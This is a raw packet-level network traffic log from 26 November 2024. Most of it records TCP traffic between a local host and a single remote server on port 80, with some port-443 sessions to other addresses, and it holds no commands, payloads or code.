Nov 26, 2024 10:09:35.333678007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.333718061 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.334295988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.334346056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.334480047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.335154057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.335155964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.335256100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.335283995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.335321903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.336133957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.336194038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.336246014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.336287022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.337074995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.337138891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.337141991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.337431908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.337795019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.337841988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.337930918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.338691950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.338783979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.338856936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.338984013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.339672089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.339725971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.339816093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.339864016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.340622902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.340683937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.340718031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.341412067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.341414928 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.341487885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.373063087 CET	443	49848	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.373805046 CET	49848	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.373831987 CET	443	49848	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.374408007 CET	49848	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.374413967 CET	443	49848	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.419223070 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:35.419523954 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:35.419614077 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.420614958 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.420630932 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:35.421340942 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.421363115 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.421442986 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.421454906 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.421492100 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.427717924 CET	49865	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.427762985 CET	443	49865	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:35.428028107 CET	49865	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.428543091 CET	49865	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.428559065 CET	443	49865	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:35.429454088 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.429471016 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.431952000 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.432070017 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.432356119 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.435121059 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.435127974 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.466974020 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:35.467112064 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:35.467190981 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:35.467808008 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:35.467823029 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:35.483860970 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.483882904 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.483891010 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.483948946 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.483954906 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.484806061 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.485431910 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.485447884 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.487854958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.487951040 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.487999916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.488234043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.488274097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.488348007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.488363028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.488389969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.488969088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.489101887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.489159107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.489903927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.489967108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.489969969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.490020037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.490911961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.490925074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.491204023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.491710901 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.491758108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.491818905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.492794037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.492815971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.492866993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.493750095 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.493802071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.493834019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.494074106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.495038986 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.495093107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.495125055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.495290041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.495878935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.496058941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.496128082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.497011900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.497131109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.497174978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.497174978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.497997999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.498071909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.498142004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.498193026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.498969078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.498981953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.499063015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.500072956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.500133991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.500138044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.500200987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.500329971 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.500358105 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.500421047 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.500432014 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.500479937 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.500704050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.500750065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.500776052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.500931978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.501374960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.501439095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.501533985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.501589060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.502268076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.502350092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.502372980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.502388954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.503156900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.503205061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.503228903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.503268957 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.503818035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.503863096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.503993988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.504033089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.504642010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.504750013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.504798889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.505476952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.505532026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.505558014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.505580902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.507162094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.507213116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.507353067 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.507369041 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.507496119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.507546902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.508548021 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.508573055 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.508630991 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.508682966 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.508682966 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.509191990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.509347916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.509392023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.510843039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.511068106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.511143923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.511310101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.512836933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.513025999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.513050079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.513072014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.513871908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.513940096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.513967991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.513981104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.514736891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.514786959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.514817953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.514947891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.515383005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.515428066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.515460014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.515729904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.515912056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.515929937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.515984058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.516674995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.516751051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.516774893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.516788006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.531328917 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.531347990 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.668524027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668543100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668555021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668565989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668576956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668589115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668601990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668606997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.668613911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668627024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668638945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668651104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.668651104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668665886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668677092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.668678999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.668699980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.668710947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675501108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675513029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675524950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675535917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675548077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675558090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675570011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675570011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675581932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675594091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675595999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675606012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675620079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675631046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675632954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675638914 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675646067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.675662041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.675688028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689367056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689380884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689390898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689403057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689414978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689426899 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689438105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689448118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689454079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689461946 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689474106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689486027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689496994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689496994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689510107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689522028 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689528942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689528942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689533949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689547062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689557076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689560890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689568996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689577103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689589024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689598083 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689601898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689615965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689626932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689661026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.689965963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.689981937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.690033913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.690047979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.690057993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.690107107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.693304062 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.693711996 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.693878889 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.693895102 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.694195032 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.694211960 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.694588900 CET	49857	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.694593906 CET	443	49857	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.694644928 CET	49855	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:35.694652081 CET	443	49855	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:35.702593088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.702768087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.709084988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.709098101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.709163904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.711301088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.711354971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.717216015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.717228889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.717287064 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.725286961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.725302935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.725349903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.725364923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.731807947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.731821060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.731914997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.734337091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.734395027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.741611958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.741626978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.741637945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.741702080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.741739988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.750242949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.750257969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.750341892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.750368118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.763950109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.764017105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.792835951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.792851925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.792923927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.798351049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.798377037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.798389912 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.798402071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.798413992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.798413992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.798450947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.798485994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.804368973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.804389000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.804402113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.804414988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.804440022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.804471970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.805555105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805568933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805581093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805597067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805607080 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.805609941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805623055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.805644035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.805666924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.812975883 CET	80	49766	185.215.113.206	192.168.2.5
